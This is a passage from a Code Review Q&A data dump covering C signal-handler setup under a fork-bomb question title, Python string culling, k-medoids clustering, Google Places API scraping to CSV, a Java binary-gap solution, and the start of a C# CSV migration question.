(void)sigemptyset(&action_int.sa_mask);\n (void)sigaction(SIGABRT, &action_int, NULL);\n\n action_stop.sa_handler = handle_stop;\n (void)sigemptyset(&action_stop.sa_mask);\n (void)sigaction(SIGABRT, &action_stop, NULL);\n\n action_term.sa_handler = handle_term;\n (void)sigemptyset(&action_term.sa_mask);\n (void)sigaction(SIGABRT, &action_term, NULL);\n\n action_trap.sa_handler = handle_trap;\n (void)sigemptyset(&action_trap.sa_mask);\n (void)sigaction(SIGABRT, &action_trap, NULL);\n\n (void)sigemptyset(&sigset);\n (void)sigaddset(&sigset, SIGABRT);\n (void)sigaddset(&sigset, SIGCHLD);\n (void)sigaddset(&sigset, SIGINT);\n (void)sigaddset(&sigset, SIGSTOP);\n (void)sigaddset(&sigset, SIGTERM);\n (void)sigaddset(&sigset, SIGTRAP);\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T01:13:36.463",
"Id": "431658",
"Score": "1",
"body": "Calling printf from inside a signal handler invokes undefined behavior."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T08:50:12.127",
"Id": "431692",
"Score": "0",
"body": "@RolandIllig Thanks. I know close to nothing about signals, so I just copied that from the question. I'll fix it so that no one copies that."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T18:56:19.243",
"Id": "222887",
"ParentId": "222876",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": "222887",
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T15:44:17.033",
"Id": "222876",
"Score": "-2",
"Tags": [
"c"
],
"Title": "Fork bomb in C to target testing platform"
} | 222876 |
<p>I'm bothered by <a href="https://stackoverflow.com/a/56739019/10135377">my answer to this SO question</a>.</p>
<p>I'm pretty sure it's more efficient than the sort-and-cull implementations, but I'm having trouble expressing that in a way that I trust.</p>
<p>Also, it's rather convoluted by python standards.<br />
Is there a way to express the same process more clearly, without pages of comments?</p>
<h1>The problem statement:</h1>
<blockquote>
<p>Given a subject list of strings, make a list containing every element of the subject that isn't a substring of a different element of the subject.</p>
</blockquote>
<h1><del>Original</del> Current solution:</h1>
<pre class="lang-py prettyprint-override"><code>from itertools import groupby
from operator import itemgetter
from typing import Dict, Generator, Iterable, List, Union
# Exploded is a recursive data type representing a culled list of strings as a tree of character-by-character common prefixes. The leaves are the non-common suffixes.
Exploded = None
Exploded = Dict[str, Union[Exploded, str]]
def explode(subject:typing.Iterable[str])->Exploded:
heads_to_tails = dict()
for s in subject:
if s:
head = s[0]
tail = s[1:]
if head in heads_to_tails:
heads_to_tails[head].append(tail)
else:
heads_to_tails[head] = [tail]
return {
h: prune_or_follow(t)
for (h, t) in heads_to_tails.items()
}
def prune_or_follow(tails: List[str]) -> Union[Exploded, str]:
if 1 < len(tails):
return explode(tails)
else: #we just assume it's not empty.
return tails[0]
def implode(e: Exploded) -> Generator[str, None, None]:
for (head, continued) in e.items():
if isinstance(continued, str):
yield head + continued
else:
for tail in implode(continued):
yield head + tail
def cull(subject: List[str]) -> List[str]:
return list(implode(explode(subject)))
print(cull(['a','ab','ac','add']))
print(cull([ 'a boy ran' , 'green apples are worse' , 'a boy ran towards the mill' , ' this is another sentence ' , 'a boy ran towards the mill and fell']))
print(cull(['a', 'ab', 'ac', 'b', 'add']))
</code></pre>
<p>I know that it works <strong>for the <del>two</del> three test cases</strong>.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:19:16.583",
"Id": "431602",
"Score": "0",
"body": "IMHO a lot of the code's perceived verbosity comes from the type hints. Formatting them with a little bit of well placed whitespace here and there might already lead to code that looks friendlier."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:20:51.730",
"Id": "431604",
"Score": "0",
"body": "As a quick comment: using typing is not a perfect substitute for documentation: the logic is non-trivial and deserves to be explained in a comment. It looks like you are building some kind of Trie. Is it correct ?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:35:47.570",
"Id": "431609",
"Score": "0",
"body": "Ok, since nobody had left any answers yet, i've edited the question to reflect what the two of you have mentioned so far."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T23:33:25.683",
"Id": "431999",
"Score": "1",
"body": "This doesn't work. `print(cull(['a', 'ab', 'ac', 'b', 'add']))` outputs `['add', 'b']`. `groupby()` does _not_ sort it's input, so when the dictionary comprehension in `explode()` gets to 'add', it overwrites the entry for 'a' that was created when processing `['a', 'ab', 'ac']."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-27T00:23:30.443",
"Id": "432001",
"Score": "0",
"body": "mother f*er. I spent like five minutes _after_ confirming the bug with your input trying to figure out _why_ `groupby` _would_ sort, and why we'd care if it did. This isn't even the first time I've been hit by this. In absolute seriousness, who in hell publishes a function like that to a public library?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-27T00:41:18.910",
"Id": "432004",
"Score": "0",
"body": "Ok, fixed. In some ways I guess this is a little easier to read. In retrospect, I think part of what was opaque about the functional-style solution was that I was splitting off the heads prior to grouping."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-27T09:46:59.460",
"Id": "432077",
"Score": "0",
"body": "@ShapeOfMatter The non-sorting behaviour is stated explicitly in the documentation. It collapses adjacent identical values. This works for any iterable, even infinite ones. It is a design choice by the Python developers. If you want the groups of the sorted data, they provide the `sorted` builtin"
}
] | [
{
"body": "<p>All in all this looks good already.</p>\n\n<p>A few tips:</p>\n\n<h1><code>continue</code></h1>\n\n<p>If you change the test in <code>explode</code> from <code>if s:</code> to </p>\n\n<pre><code>if not s:\n continue\n</code></pre>\n\n<p>You can save a level of indentation for the rest of the loop</p>\n\n<h1><code>collections.defaultdict</code></h1>\n\n<p>checking whether a key is in a dict, and adding it if it isn't is why there is <code>collections.defaultdict</code> which can simplify <code>explode</code> a lot:</p>\n\n<pre><code>def explode(subject: Iterable[str]) -> Exploded:\n heads_to_tails = defaultdict(list)\n for s in subject:\n if not s:\n continue\n heads_to_tails[s[0]].append(s[1:])\n return {h: prune_or_follow(t) for (h, t) in heads_to_tails.items()}\n</code></pre>\n\n<h1>tuple unpacking</h1>\n\n<p>A matter of style, but in most situations where you use <code>my_list[0]</code> and <code>my_list[1:]</code>, you can use tuple unpacking. You can use this in <code>prune_or_follow</code></p>\n\n<pre><code>def prune_or_follow(tails: List[str]) -> Union[Exploded, str]:\n start, *rest = tails\n if rest:\n return explode(tails)\n else: \n return start\n</code></pre>\n\n<p>Whether this is more clear is a matter of taste.</p>\n\n<p>This tuple unpacking does not work as clean in <code>explode</code> because it converts the string into a list of 1-character strings.</p>\n\n<h1><code>Exploded</code></h1>\n\n<p>You can use a string in <code>typing</code> so you can do:</p>\n\n<pre><code>Exploded = Dict[str, Union[\"Exploded\", str]]\n</code></pre>\n\n<p>without the <code>Exploded = None</code></p>\n\n<h1><code>cull</code> typing</h1>\n\n<p>cull can accept any iterable. For the result, I don't think the order of strings is important, so there is no need to limit you to a <code>list</code>. The signature can then be <code>def cull(subject: Iterable[str]) -> Collection[str]:</code>. Whether you return a list or a set is a matter of implementation. </p>\n\n<p>If the result is just used for iteration, you can even forgo the <code>list</code> call, and just return the <code>implode</code> generator, and let the caller decide whether he needs in in a list, set or whatever data structure he wants.</p>\n\n<h1>implode</h1>\n\n<p>now you use <code>e</code> as argument name. One-letter variable names are unclear in general, and to be avoided most of the time*. Since it is a kind of a tree, I would change this variable.</p>\n\n<p>A slightly different take in <code>implode</code> which doesn't use string concatenation but tuple unpacking:</p>\n\n<pre><code>def implode(tree: Exploded, previous=()) -> Generator[str, None, None]:\n for root, branches in tree.items():\n if isinstance(branches, str):\n yield \"\".join((*previous, root, *branches))\n else:\n yield from implode(branches, *previous, root)\n</code></pre>\n\n<p>or equivalently:</p>\n\n<pre><code>def implode(tree: Exploded, previous=()) -> Generator[str, None, None]:\n for root, branches in tree.items():\n if isinstance(branches, str):\n yield \"\".join((*previous, root, *branches))\n else:\n yield from implode(branches, (*previous, root))\n</code></pre>\n\n<p>The choice between your version and this is a matter of taste, but I wanted to present the different possibilities.</p>\n\n<p>Another variation, is using <code>try-except ArgumentError</code> instead of the <code>isinstance</code>:</p>\n\n<pre><code>def implode_except(tree: Exploded, previous=()) -> Generator[str, None, None]:\n for root, branches in tree.items():\n try:\n yield from implode(branches, (*previous, root))\n except AttributeError:\n yield \"\".join((*previous, root, *branches))\n</code></pre>\n\n<p>'* I find <code>i</code>, <code>j</code> etc acceptable for a counter or index, and <code>x</code> and <code>y</code> for coordinates, but in general I try not to use one-letter variable names.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-27T13:47:49.080",
"Id": "432118",
"Score": "0",
"body": "Thanks; i've implemented most of this over at the parent question!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-27T10:50:04.923",
"Id": "223057",
"ParentId": "222877",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "223057",
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T15:48:02.353",
"Id": "222877",
"Score": "3",
"Tags": [
"python",
"algorithm",
"python-3.x",
"strings",
"cyclomatic-complexity"
],
"Title": "Culling strings from a list that are substrings of other list elements"
} | 222877 |
<p>This is the program function code for clustering using k-medoids</p>
<pre><code>def kMedoids(D, k, tmax=100):
# determine dimensions of distance matrix D
m, n = D.shape
# randomly initialize an array of k medoid indices
M = np.sort(np.random.choice(n, k)
# create a copy of the array of medoid indices
Mnew = np.copy(M)
# initialize a dictionary to represent clusters
C = {}
for t in range(tmax):
# determine clusters, i.e. arrays of data indices
J = np.argmin(D[:,M], axis=1)
for kappa in range(k):
C[kappa] = np.where(J==kappa)[0]
# update cluster medoids
for kappa in range(k):
J = np.mean(D[np.ix_(C[kappa],C[kappa])],axis=1)
j = np.argmin(J)
Mnew[kappa] = C[kappa][j]
np.sort(Mnew)
# check for convergence
if np.array_equal(M, Mnew):
break
M = np.copy(Mnew)
else:
# final update of cluster memberships
J = np.argmin(D[:,M], axis=1)
for kappa in range(k):
C[kappa] = np.where(J==kappa)[0]
# return results
return M, C
</code></pre>
<p>and the I will call The function KMedoids with this program, I think my program run slowly in line D = Pairwise_distances(arraydata, metric='euclidean')</p>
<pre><code>D = pairwise_distances(arraydata,metric='euclidean')
# split into 2 clusters
M, C = kMedoids(D, 2)
print('medoids:')
for point_idx in M:
print(arraydata[point_idx] )
print('')
# array for get label
temp = []
indeks = []
print('clustering result:')
for label in C:
for point_idx in C[label]:
print('label {0}: {1}'.format(label, arraydata[point_idx]))
temp.append(label)
indeks.append(point_idx)
</code></pre>
<p>This is the result from this program</p>
<pre><code>clustering result:
label 0: [0.00000000e+00 0.00000000e+00 1.00000000e+00 1.00000000e+00
1.00000000e+00 1.00000000e+00 1.00000000e+00 1.00000000e+00
1.00000000e+00 1.00000000e+00 1.00000000e+00 1.00000000e+00
1.00000000e+00 1.00000000e+00 1.00000000e+00 1.00000000e+00
1.00000000e+00 1.00000000e+00 1.00000000e+00 1.00000000e+00
1.00000000e+00 1.00000000e+00 1.00000000e+00 1.00000000e+00
1.00000000e+00 0.00000000e+00 1.00000000e+00 1.00000000e+00
</code></pre>
<p>Why my result of my program is slow for large data and almost have a result "Memory Error"? I hope someone can help me to review this code to improve its performance to get the result and process large amounts of data.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:48:21.253",
"Id": "431616",
"Score": "2",
"body": "This is still on-topic since the error is due to slow performance (on large sets of data)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T17:27:49.073",
"Id": "431629",
"Score": "1",
"body": "`return M, C` looks misindented. Please doublecheck your indentation."
}
] | [
{
"body": "<p>This is exactly the implementation found in <a href=\"https://www.researchgate.net/publication/272351873_NumPy_SciPy_Recipes_for_Data_Science_k-Medoids_Clustering\" rel=\"nofollow noreferrer\">NumPy and SciPy Recipes for Data Science on k-Medoids Clustering</a> but with some indentation mistakes (probably due to the copy & paste process). To understand the indentation being used in the algorithm is might be worth to read the answers on the <strong>for...else syntax</strong>:</p>\n<p><a href=\"https://stackoverflow.com/questions/9979970/why-does-python-use-else-after-for-and-while-loops#9980752\">https://stackoverflow.com/questions/9979970/why-does-python-use-else-after-for-and-while-loops#9980752</a></p>\n<p>A working script with the correct indentation and some improvement is found at\n<a href=\"https://github.com/letiantian/kmedoids/blob/master/kmedoids.py\" rel=\"nofollow noreferrer\">https://github.com/letiantian/kmedoids/blob/master/kmedoids.py</a> :</p>\n<pre><code>import numpy as np\nimport random\n\ndef kMedoids(D, k, tmax=100):\n # determine dimensions of distance matrix D\n m, n = D.shape\n\n if k > n:\n raise Exception('too many medoids')\n\n # find a set of valid initial cluster medoid indices since we\n # can't seed different clusters with two points at the same location\n valid_medoid_inds = set(range(n))\n invalid_medoid_inds = set([])\n rs,cs = np.where(D==0)\n # the rows, cols must be shuffled because we will keep the first duplicate below\n index_shuf = list(range(len(rs)))\n np.random.shuffle(index_shuf)\n rs = rs[index_shuf]\n cs = cs[index_shuf]\n for r,c in zip(rs,cs):\n # if there are two points with a distance of 0...\n # keep the first one for cluster init\n if r < c and r not in invalid_medoid_inds:\n invalid_medoid_inds.add(c)\n valid_medoid_inds = list(valid_medoid_inds - invalid_medoid_inds)\n\n if k > len(valid_medoid_inds):\n raise Exception('too many medoids (after removing {} duplicate points)'.format(\n len(invalid_medoid_inds)))\n\n # randomly initialize an array of k medoid indices\n M = np.array(valid_medoid_inds)\n np.random.shuffle(M)\n M = np.sort(M[:k])\n\n # create a copy of the array of medoid indices\n Mnew = np.copy(M)\n\n # initialize a dictionary to represent clusters\n C = {}\n for t in xrange(tmax):\n # determine clusters, i. e. arrays of data indices\n J = np.argmin(D[:,M], axis=1)\n for kappa in range(k):\n C[kappa] = np.where(J==kappa)[0]\n # update cluster medoids\n for kappa in range(k):\n J = np.mean(D[np.ix_(C[kappa],C[kappa])],axis=1)\n j = np.argmin(J)\n Mnew[kappa] = C[kappa][j]\n np.sort(Mnew)\n # check for convergence\n if np.array_equal(M, Mnew):\n break\n M = np.copy(Mnew)\n else:\n # final update of cluster memberships\n J = np.argmin(D[:,M], axis=1)\n for kappa in range(k):\n C[kappa] = np.where(J==kappa)[0]\n\n # return results\n return M, C\n</code></pre>\n<p>Note that the <code>else</code> as well as the <code>return</code> are at the same indentation as the <code>for</code>-loop.</p>\n<p>However, I recommend to change the second inner loop</p>\n<pre><code># update cluster medoids\nfor kappa in range(k):\n J = np.mean(D[np.ix_(C[kappa],C[kappa])],axis=1)\n j = np.argmin(J)\n Mnew[kappa] = C[kappa][j]\n</code></pre>\n<p>to</p>\n<pre><code># update cluster medoids\nfor kappa in range(k):\n J = np.mean(D[np.ix_(C[kappa],C[kappa])],axis=1)\n # Fix for the low-idx bias by J.Nagele (2019):\n shuffled_idx = np.arange(len(J))\n np.random.shuffle(shuffled_idx) \n j = shuffled_idx[np.argmin(J[shuffled_idx])] \n Mnew[kappa] = C[kappa][j]\n</code></pre>\n<p>as otherwise the resulting medoids depend on the order of the input. That is because the argmin command returns always the lowest index in case multiple potential medoids have equal distances to the cluster members.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-12-17T14:11:16.220",
"Id": "458027",
"Score": "2",
"body": "It might be a better answer if you put the part about the indentation first, remember since this is code review the answer should be mostly about the users code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-12-17T14:23:29.297",
"Id": "458029",
"Score": "1",
"body": "Please quote the relevant parts of your links so readers don't have to visit other sites and so that your answer will still make sense even if the link(s) no longer work."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-12-17T17:40:00.730",
"Id": "458054",
"Score": "0",
"body": "OK I will change it accordingly"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-12-17T19:09:57.803",
"Id": "458066",
"Score": "0",
"body": "I hope now it got better!"
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-12-17T12:10:01.687",
"Id": "234196",
"ParentId": "222879",
"Score": "0"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:34:20.123",
"Id": "222879",
"Score": "1",
"Tags": [
"python",
"performance",
"python-3.x",
"memory-optimization",
"clustering"
],
"Title": "Clustering using k-medoids"
} | 222879 |
<p>I have a csv file with 3 fields, two of which are of my interest, <code>Merchant_Name</code> and <code>City</code>.<br>
My goal was to output multiple csv files each with 6 fields, <code>Merchant_Name</code>, <code>City</code>, <code>name</code>, <code>formatted_address</code>, <code>latitude</code>, <code>longitude</code>.</p>
<p>For example, if one entry of the csv is <code>Starbucks, Chicago</code>, I want the output csv to contain all the information in the 6 fields (as mentioned above) like so-<br>
<code>Starbucks, Chicago, Starbucks, "200 S Michigan Ave, Chicago, IL 60604, USA", 41.8164613, -87.8127855</code>,<br>
<code>Starbucks, Chicago, Starbucks, "8 N Michigan Ave, Chicago, IL 60602, USA", 41.8164613, -87.8127855</code><br>
and so on for the rest of the results. </p>
<p>For this, I used Text Search request of Google Maps Places API. Here is what I wrote.</p>
<pre class="lang-py prettyprint-override"><code>import pandas as pd
# import googlemaps
import requests
# import csv
# import pprint as pp
from time import sleep
import random
def search_output(search):
if len(data['results']) == 0:
print('No results found for {}.'.format(search))
else:
# Create csv file
filename = search + '.csv'
f = open(filename, "w")
size_of_json = len(data['results'])
# Get next page token
# if size_of_json = 20:
# next_page = data['next_page_token']
for i in range(size_of_json):
name = data['results'][i]['name']
address = data['results'][i]['formatted_address']
latitude = data['results'][i]['geometry']['location']['lat']
longitude = data['results'][i]['geometry']['location']['lng']
f.write(name.replace(',', '') + ',' + address.replace(',', '') + ',' + str(latitude) + ',' + str(longitude) + '\n')
f.close()
print('File successfully saved for "{}".'.format(search))
sleep(random.randint(120, 150))
API_KEY = 'your_key_here'
PLACES_URL = 'https://maps.googleapis.com/maps/api/place/textsearch/json?'
# Make dataframe
df = pd.read_csv('merchant.csv', usecols=[0, 1])
# Construct search query
search_query = df['Merchant_Name'].astype(str) + ' ' + df['City']
search_query = search_query.str.replace(' ', '+')
random.seed()
for search in search_query:
search_req = 'query={}&key={}'.format(search, API_KEY)
request = PLACES_URL + search_req
# Place request and store data in 'data'
result = requests.get(request)
data = result.json()
status = data['status']
if status == 'OK':
search_output(search)
elif status == 'ZERO_RESULTS':
print('Zero results for "{}". Moving on..'.format(search))
sleep(random.randint(120, 150))
elif status == 'OVER_QUERY_LIMIT':
print('Hit query limit! Try after a while. Could not complete "{}".'.format(search))
break
else:
print(status)
print('^ Status not okay, try again. Failed to complete "{}".'.format(search))
break
</code></pre>
<p>I want to implement next page token but cannot think of a way which woudn't make it all a mess. Another thing I wish to improve is my csv writing block. And dealing with redundancy.<br>
I further plan to concatenate all the csv files into one(but still keeping the original separate files).</p>
<p>Please note that I'm new to programming, in fact this is actually one of my first programs to achieve something. So please elaborate a bit more when need be. Thanks!</p>
| [] | [
{
"body": "<ul>\n<li>Use <a href=\"https://docs.python.org/3.7/library/csv.html\" rel=\"nofollow noreferrer\">the csv library</a>\n\n<ul>\n<li><code>x.writerows(custom_tuple(row) for row in data['results'])</code></li>\n</ul></li>\n<li>Grabbing mutable data from the global scope is, I'm pretty sure, <em>poor form</em>. You should pass data as an argument to <code>search_output</code>.\n\n<ul>\n<li>Just pass in <code>data['results']</code> as <code>results</code>, not the whole <code>data</code> object.</li>\n<li>Consider calling it <code>output_search_results</code>.</li>\n<li>Consider using <a href=\"https://docs.python.org/3/library/typing.html\" rel=\"nofollow noreferrer\">precise type hints</a>.</li>\n<li>The existing argument <code>search</code> is being used as a file-name, so call it <code>filename</code>.</li>\n</ul></li>\n<li>Pass the csv-writer object in as an argument to <code>output_search_results</code>. \n\n<ul>\n<li>Maybe this means introducing a middle-layer function to create the csv-writer; that's fine.</li>\n<li>This is going to let you call <code>output_search_results</code> multiple times after opening the file once.</li>\n</ul></li>\n<li>Encapsulate the code that fetches data from google in its own function.\n\n<ul>\n<li>Maybe even in its own class, if you're going to try to make more intelligent handlers for the failure cases.</li>\n<li><strong>Now you can easily build the functionality to <em>fetch</em> a \"next page\" of results based on the next-page-token.</strong> It'll be a sibling to the above function, or maybe an option to it.</li>\n</ul></li>\n<li>From here you can either pass <code>data['next_page_token']</code> as another (optional) parameter to <code>output_search_results</code>, which will call itself recursively, or you can call it in a while loop as you grab each next page.</li>\n<li>You'll probably need to add some safety measures, such as what to do if a file already exists, etc. </li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-07-05T14:51:44.187",
"Id": "433386",
"Score": "0",
"body": "Thanks for your answer. I'd be pleased if you could fork and send me a PR, here's the [GitHub link to my project](https://github.com/swingcake/Data-prep-SBI-Card/blob/master/Merchant%20transaction/text_search.py)."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T19:52:56.483",
"Id": "222892",
"ParentId": "222883",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "222892",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T18:03:52.350",
"Id": "222883",
"Score": "2",
"Tags": [
"python",
"performance",
"json",
"csv",
"pandas"
],
"Title": "Batch retrieve formatted address along with geometry (lat/long) and output to csv"
} | 222883 |
<p>A binary gap within a positive integer N is any maximal sequence of consecutive zeros that is surrounded by ones at both ends in the binary representation of N.</p>
<p>For example, number 9 has binary representation 1001 and contains a binary gap of length 2. The number 529 has binary representation 1000010001 and contains two binary gaps: one of length 4 and one of length 3. The number 20 has binary representation 10100 and contains one binary gap of length 1. The number 15 has binary representation 1111 and has no binary gaps. The number 32 has binary representation 100000 and has no binary gaps.</p>
<p>Write a function:</p>
<p>class Solution { public int solution(int N); }</p>
<p>that, given a positive integer N, returns the length of its longest binary gap. The function should return 0 if N doesn't contain a binary gap.</p>
<p>For example, given N = 1041 the function should return 5, because N has binary representation 10000010001 and so its longest binary gap is of length 5. Given N = 32 the function should return 0, because N has binary representation '100000' and thus no binary gaps.</p>
<p>Write an efficient algorithm for the following assumptions:</p>
<p>N is an integer within the range [1..2,147,483,647].</p>
<pre class="lang-java prettyprint-override"><code>import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import javax.swing.plaf.basic.BasicInternalFrameTitlePane.MaximizeAction;
public class Main {
public static void main(String[] args) {
// TODO Auto-generated method stub
Solution s = new Solution();
int x = s.solution(1041);
System.out.println(x);
}
}
class Solution {
public int solution(int N)
{
int countZero = 0;
Integer maxCountZeroList = 0;
List<Integer> countZeroList = new ArrayList<Integer>();
String nBin = Integer.toBinaryString(N);
for (int i=1;i<nBin.length();i++) {
if(nBin.charAt(i) == '1')
{
countZeroList.add(countZero);
countZero = 0;
}
else
{
countZero++;
}
}
if(countZeroList.size() > 0)
{
maxCountZeroList = Collections.max(countZeroList);
}
return maxCountZeroList;
}
}
</code></pre>
<p>I am looking for more efficient way of solution of this problem</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T06:51:18.393",
"Id": "431675",
"Score": "1",
"body": "This seems to be from a programming challenge. Please add a link to the problem site."
}
] | [
{
"body": "<p>Your code works. But can be improved.</p>\n\n<p>Your current code allocates several objects on the heap even though it doesn't need to. Also, the Collections.max takes a lot of time.</p>\n\n<p>I have a completely different approach here. So I will just post the code I wrote some time ago (maybe a couple of years ago). It looks something like this:</p>\n\n<pre><code>public static int binaryGap(int n) {\n n >>>= Integer.numberOfTrailingZeros(n);\n int steps = 0;\n while ((n & (n + 1)) != 0) {\n n |= n >>> 1;\n steps++;\n }\n return steps;\n}\n</code></pre>\n\n<p>Try to understand the code by adding some print statements. Post a comment if you have any questions. </p>\n\n<p>Some tests:</p>\n\n<pre><code>Method \"solution\" Answer: 5\nTime Taken: 393061 nanoseconds\nMethod \"binaryGap\" Answer: 5\nTime Taken: 26053 nanoseconds\n</code></pre>\n\n<p>As you can see here, \"solution\" method is about 15 times slower than the \"binaryGap\" method because this code runs in O(gap), which is a bit better than O(bits).</p>\n\n<p>Hope this helps. Good luck.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T22:04:48.293",
"Id": "431803",
"Score": "0",
"body": "\"Try to understand the code by adding some print statements.\" That's not really the way it works, as you should provide explanation of this."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T17:17:59.080",
"Id": "222885",
"ParentId": "222884",
"Score": "1"
}
},
{
"body": "<h2>Unused Imports</h2>\n\n<pre><code>import javax.swing.plaf.basic.BasicInternalFrameTitlePane.MaximizeAction;\n</code></pre>\n\n<p>This is never used, so why have it?</p>\n\n<h2>Useless Comments</h2>\n\n<pre><code>// TODO Auto-generated method stub\n</code></pre>\n\n<p>Clearly, you've implemented the method. Remove the <code>TODO</code> comment.</p>\n\n<p><s></p>\n\n<h2>Singletons</h2>\n\n<pre><code>Solution s = new Solution();\nint x = s.solution(1041);\n</code></pre>\n\n<p>Solution is a class with no data members, just one function. There is no reason to make an instance of this class, just make the method <code>static</code>. Actually, there is no obvious reason to have the <code>Solution</code> class; you can make <code>solution()</code> a static member function in <code>Main</code>.\n</s></p>\n\n<h2>Pointless Box</h2>\n\n<pre><code>Integer maxCountZeroList = 0;\n</code></pre>\n\n<p>There is no reason to have <code>maxCountZeroList</code> an object. An <code>int</code> would be sufficient. Since <code>solutions()</code> returns an <code>int</code>, and ends with <code>return maxCountZeroList;</code>, you are unboxing this integer anyway.</p>\n\n<h2>One Pass</h2>\n\n<p>You are doing two passes over your data. The first pass you are counting non-<code>'1'</code> characters, and storing the counts in a <code>List</code>. The second pass, this time over the list, you are looking for the <code>max()</code> value.</p>\n\n<p>This can be done in one pass.</p>\n\n<pre><code>int countZero = 0;\nint maxCountZero = 0;\n\nString nBin = Integer.toBinaryString(N);\nfor (int i=1;i<nBin.length();i++) {\n\n if(nBin.charAt(i) == '1')\n {\n if (countZero > maxCountZero)\n maxCountZero = countZero;\n\n countZero = 0;\n }\n else\n {\n countZero++;\n }\n\n}\nreturn maxCountZero;\n</code></pre>\n\n<h2>Enhanced For Loop</h2>\n\n<p>Instead of looping over the indices of <code>nBin</code>, and then calling <code>.charAt()</code> at each index (the only place the index is used), you could instead loop over the characters of the string, eliminating the need for the <code>.charAt()</code> call.</p>\n\n<pre><code>for (char ch : nBin.toCharArray()) {\n\n if(ch == '1')\n {\n if (countZero > maxCountZero)\n maxCountZero = countZero;\n\n countZero = 0;\n }\n else\n {\n countZero++;\n }\n\n}\n</code></pre>\n\n<h2>Looking for the wrong thing</h2>\n\n<p>This code is not counting \"zeros\". It is counting \"not ones\". It would be clearer written as:</p>\n\n<pre><code>for (char ch : nBin.toCharArray()) {\n\n if(ch == '0')\n {\n countZero++;\n }\n else\n {\n if (countZero > maxCountZero)\n maxCountZero = countZero;\n\n countZero = 0;\n }\n}\n</code></pre>\n\n<hr>\n\n<h2>Efficiency Improvement</h2>\n\n<p>@Harshal's improved solution is a bit obfuscated, but it does run in <span class=\"math-container\">\\$O(gap)\\$</span> time. Here is a less obfuscated implementation which runs in <span class=\"math-container\">\\$O({numGaps})\\$</span> time.</p>\n\n<pre><code>int max_gap = 0;\n\nn >>>= Integer.numberOfTrailingZeros(n); // Get rid of ending 0's.\nn >>>= Integer.numberOfTrailingZeros(~n); // Get rid of ending 1's.\n\nwhile (n > 0) {\n int gap = Integer.numberOfTrailingZeros(n);\n if (gap > max_gap)\n max_gap = gap;\n\n n >>>= gap;\n n >>>= Integer.numberOfTrailingZeros(~n);\n} \n\nreturn max_gap;\n</code></pre>\n\n<p>Assuming <code>Integer.numberOfTrailingZeros(x)</code> executes in constant time, the above while loop will execute once for each \"gap\", computing exactly how long each gap is. With <code>0x40000001</code>, Harshal's method must loop 31 times, where as this algorithm loops only once. In contrast, with <code>0x55555555</code>, this algorithm loops 15 times, finding each gap of one <code>'0'</code>, where as Harshal's algorithm loops once; the maximum gap size.</p>\n\n<p>Profiling, and knowledge of the distribution of values, will be important in choosing between the two optimizations.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T06:50:26.357",
"Id": "431674",
"Score": "0",
"body": "It was stated as a *requirement* to write a `class Solution { public int solution(int N); }` – probably from a programming challenge."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T01:00:58.613",
"Id": "222900",
"ParentId": "222884",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T17:09:38.350",
"Id": "222884",
"Score": "3",
"Tags": [
"java"
],
"Title": "Efficient way of BinaryGap"
} | 222884 |
<p>I am making a tool to read 3 input files in CSV and then filling an XLSX file with the information from the CSV. I want to know if I am repeating myself and if I can make it better and faster. Currently the entire migration time of the files is 2:30 minutes approximately. I will shorten the code to be easier to review.</p>
<p>I created an class to each input CSV file. The three files are "SddtRtu.cs", "SddtPtoestse.cs" and "SddtPtodadSe.cs". I will just show the "SddtRtu.cs" because the other two have the same pattern.</p>
<pre><code>using System;
using System.IO;
using System.Text;
